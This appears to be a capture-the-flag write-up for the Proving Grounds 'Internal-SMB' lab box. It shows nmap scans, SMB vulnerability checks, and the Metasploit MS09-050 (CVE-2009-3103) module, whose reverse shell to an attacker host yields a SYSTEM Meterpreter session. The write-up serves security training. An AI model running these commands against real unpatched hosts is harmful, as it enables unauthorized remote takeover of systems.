# Internal-SMB Writeup - Proving Grounds

> Easy Windows box, an unpatched Windows Server 2008 SP1 host flagged by nmap's SMB vulnerability scripts and taken with the MS09-050 SMBv2 negotiate function index overflow (CVE-2009-3103) for a direct, unauthenticated SYSTEM shell.

- **URL:** https://hackindex.io/writeups/internal-smb
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Windows
- **Tags:** smb, rce, cve-2009-3103
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Internal-SMB is the same MS09-050 story on an unpatched Windows Server 2008 SP1 host: nmap's SMB vulnerability scripts flag the SMBv2 negotiate overflow (CVE-2009-3103), and the matching Metasploit module gives an unauthenticated SYSTEM shell in one step.

## Reconnaissance

### Nmap

Scan all TCP ports.

```bash
nmap -p- $TARGET_IP
# PORT      STATE SERVICE
# 53/tcp    open  domain
# 135/tcp   open  msrpc
# 139/tcp   open  netbios-ssn
# 445/tcp   open  microsoft-ds
# 3389/tcp  open  ms-wbt-server
# 5357/tcp  open  wsdapi
# 49152-49158/tcp open unknown
```

DNS, SMB, and RDP are the services of note. Fingerprint the SMB service.

### SMB version

Grab the OS and signing details.

```bash
nmap -sCV -p139,445 $TARGET_IP
# PORT    STATE SERVICE      VERSION
# 139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
# 445/tcp open  microsoft-ds Windows Server (R) 2008 Standard 6001 SP1 (workgroup: WORKGROUP)
# <snip>
# | smb-os-discovery:
# |   OS: Windows Server (R) 2008 Standard 6001 Service Pack 1
# |   Computer name: internal
# | smb-security-mode:
# |_  message_signing: disabled (dangerous, but default)
```

Windows Server 2008 Standard SP1 with SMB signing disabled. If unpatched, this build is a strong candidate for a known SMB vulnerability.

## Exploitation

### Nmap SMB vulnerability scripts

Check directly instead of guessing.

```bash
nmap --script smb-vuln* -p445 $TARGET_IP
# Host script results:
# | smb-vuln-cve2009-3103:
# |   VULNERABLE:
# |   SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
# |     State: VULNERABLE
# |     Array index error in the SMBv2 protocol implementation in srv2.sys allows remote
# |     attackers to execute arbitrary code via an '&amp;' character in a Process ID High
# |     header field in a NEGOTIATE PROTOCOL REQUEST packet.
```

Vulnerable to CVE-2009-3103, Microsoft Security Bulletin MS09-050, an SMBv2 negotiate array index overflow with a public Metasploit module.

### MS09-050 SMB2 negotiate function index overflow

Select the module and run it.

```bash
search MS09-050
use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
set RHOSTS $TARGET_IP
set LHOST $ATTACKER_IP
run
# 2  exploit/windows/smb/ms09_050_smb2_negotiate_func_index  2009-09-07  good  MS09-050 Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
# <snip>
# [*] Started reverse TCP handler on $ATTACKER_IP:$ATTACKER_PORT
# [*] $TARGET_IP:445 - Connecting to the target ($TARGET_IP:445)...
# [*] $TARGET_IP:445 - Sending the exploit packet (938 bytes)...
# [*] Sending stage (176195 bytes) to $TARGET_IP
# [*] Meterpreter session 1 opened ($ATTACKER_IP:$ATTACKER_PORT -> $TARGET_IP:49159)
#
# meterpreter > getuid
# Server username: NT AUTHORITY\SYSTEM
# meterpreter > shell
# C:\Windows\system32>hostname
# internal
```

The exploit lands directly as `NT AUTHORITY\SYSTEM`, no privilege escalation step required.

Related

## References

- [CVE-2009-3103](https://nvd.nist.gov/vuln/detail/CVE-2009-3103) - Array index error in the SMBv2 negotiate implementation in srv2.sys leading to remote code execution.
- [Microsoft Security Bulletin MS09-050](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-050) - Vendor advisory for the SMBv2 vulnerability.
- [Rapid7 Metasploit Module](https://www.rapid7.com/db/modules/exploit/windows/smb/ms09_050_smb2_negotiate_func_index/) - The exploit module used against the vulnerable SMBv2 negotiate handler.